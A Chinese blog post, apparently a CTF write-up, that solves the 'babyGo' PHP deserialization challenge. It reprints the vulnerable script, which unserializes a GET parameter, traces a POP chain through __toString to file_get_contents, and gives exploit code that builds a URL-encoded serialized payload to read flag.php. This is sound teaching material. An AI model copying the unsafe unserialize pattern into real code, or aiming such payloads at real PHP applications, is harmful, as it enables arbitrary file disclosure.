User-Profile-Image
hankin
  • 5
请到[后台->外观->菜单]中设置菜单。
  • 分类
    • 靶机渗透
    • 计算机小技巧
    • 未分类
    • 数据结构
    • 内网渗透
    • 代码审计
    • XSS
    • WEB安全漏洞学习
    • Web
    • python
    • PHP
    • NodeJS
    • MYSQL
    • Misc
    • JavaScript
    • Docker
    • CTF相关知识点
    • CTFWP
    • Crypto
    • Cobalt Strike
  • 页面
  • 友链
    • 三哥的博客
    • Root师傅的博客
    • EDS师傅的博客
    • 天正哥的博客
    • 天尘翼师傅的博客
    • 熵增师傅的github
    • 信仰的博客
    • Jadore的博客
Help?

Please contact us on our email for need any support

Support
    首页   ›   CTFWP   ›   正文
CTFWP

babyGo(安恒2019.1,POP链刷题)

2020-03-12 22:43:22
43  0 0

复现学习方法:本地搭建,自己创立一个flag.php文件,源码如下。

<?php  
@error_reporting(1);
#include 'flag.php';
class baby
{
protected $skyobj;
public $aaa;
public $bbb;
function __construct()
{
$this->skyobj = new sec;
}
function __toString()
{
if (isset($this->skyobj))
return $this->skyobj->read();
}
}

class cool
{
public $filename;
public $nice;
public $amzing;
function read()
{
$this->nice = unserialize($this->amzing);
$this->nice->aaa = $sth;
if($this->nice->aaa === $this->nice->bbb)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "you must be joking!";
}
}
}
}

class sec
{
function read()
{
return "it's so sec~~";
}
}
if (isset($_GET['data']))
{
$Input_data = unserialize($_GET['data']);
echo $Input_data;
}

?>

分析:首先找传参点,在最下方看到unserialize函数可以传递一个data参数,那么第一时间考虑__wakeup魔术方法,通读一遍发现并没有该魔术方法,那么接下来看怎么能得到flag.php。寻找一些敏感函数:file_get_contents、heightlight_file等读取文件的函数,在cool类中的read方法中看到file_get_contents函数。

发现有一个if判断语句,同时于unserialize函数挂钩,在注意自己可以控制filename属性,间接控制file属性。在看下if判断语句,同时需要完全等于,我只想到赋值为空,时0=0满足条件,则在后面构造exp时不对amazing属性赋值。

知道最后一步后,往前推,思考如何去触发cool类中的read函数呢?

小技巧:双击read函数,将所有出现read字样的字符串变色显示出,可以快速发现哪里调用。

然后我们看到在baby类中的__tostring魔术方法调用了read函数,我们知道当实例化一个类(也就是对象的时候),会触发__construct魔术方法,原本该方法中将skyobj实例化为sec类的对象,又$this->skyobj这又会触发__tostring魔术方法,因此我们不能让该函数去触发sec类的read方法,而要触发cool类中的read方法。所以将sec变为cool().

缕清这个简单的pop链,构造exp

<?php  
@error_reporting(1); 
#include 'flag.php';
class baby 
{   
    protected $skyobj;  
    public $aaa;
    public $bbb;
    function __construct() 
    {      
        $this->skyobj = new cool();
    }  
    function __toString()      
    {          
        if (isset($this->skyobj))  
            return $this->skyobj->read();      
    }  
}  
 
class cool 
{    
    public $filename="flag.php";     
    public $nice;
    public $amzing; 
    function read()      
    {   
        $this->nice = unserialize($this->amzing);
        $this->nice->aaa = $sth;
        if($this->nice->aaa === $this->nice->bbb)
        {
            $file = "./{$this->filename}";        
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "you must be joking!"; 
            }    
        }
    }  
}    

echo urlencode(serialize(new baby()));
?>

​最后输出注意加上url编码,不然会有些编码问题无法触发得到flag,得到flag

评论 (0)

点击这里取消回复。

欢迎您 游客  

近期文章
  • SUCTF 2019 Guess_game
  • Python pickle反序列化
  • [安洵杯 2019]easy_serialize_php
  • Session反序列化
  • 原生类序列化
近期评论
    文章归档
    • 2021年1月
    • 2020年12月
    • 2020年11月
    • 2020年9月
    • 2020年7月
    • 2020年6月
    • 2020年5月
    • 2020年4月
    • 2020年3月
    • 2020年2月
    • 2020年1月
    分类目录
    • Cobalt Strike
    • Crypto
    • CTFWP
    • CTF相关知识点
    • Docker
    • JavaScript
    • Misc
    • MYSQL
    • NodeJS
    • PHP
    • python
    • Web
    • WEB安全漏洞学习
    • XSS
    • 代码审计
    • 内网渗透
    • 数据结构
    • 未分类
    • 计算机小技巧
    • 靶机渗透
    功能
    • 登录
    • 项目feed
    • 评论feed
    • WordPress.org
    分类目录
    Copyright © 2021 网站备案号: 蒙ICP备20000552号-1
    smarty_hankin 主题. Designed by hankin
    主页
    页面
    博主
    purplet 管理员
    努力并有所方向
    157 文章 0 评论 20341 浏览
    测试
    测试